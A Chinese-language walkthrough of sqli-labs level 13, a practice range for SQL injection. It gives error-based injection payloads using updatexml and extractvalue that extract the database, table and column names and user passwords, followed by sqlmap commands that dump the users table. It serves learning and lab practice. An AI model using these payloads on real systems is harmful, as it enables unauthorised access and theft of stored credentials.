web——sqliabs靶场——第十三关——报错注入+布尔盲注
发现是单引号加括号闭合的
尝试联合注入
发现不太行,那尝试报错注入。
测试报错注入
uname=admin') and updatexml(1,0x7e,3) -- +&passwd=admin&submit=Submit
爆数据库
uname=admin') and updatexml(1,concat(0x7e,database(),0x7e),3) -- +&passwd=admin&submit=Submit
新学一个函数extractvalue()
extractvalue()
作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法: extractvalue( XML_document, XPath_string )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
报错原理:xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx‘
最大只能显示32个字符,所以要配合limit进行使用
爆表名
uname=admin') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))-- +&passwd=admin&submit=Submit
通过更改limit后的值来获得表名
爆列名
uname=admin') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1)))-- +&passwd=admin&submit=Submit
更改limit后的值来得到
爆具体内容
uname=1')and updatexml(1,concat(0x7e,(select password from users limit 2,1)),3)#&passwd=admin&submit=Submit
布尔盲注
这个是post传参,和之前的不一样
用sqlmap的post传参来搞
1.用bp抓包,将抓包结果放在456.txt文件里
sqlmap -r 456.txt --batch -dbs
查询到数据库名
2.查询表名
sqlmap -r 456.txt --batch -tables -D security
3.查询列名
sqlmap -r 456.txt --batch -columns -D security -T users
4.查询数据
sqlmap -r 456.txt --batch -dump -D security -T users -C password,username
结束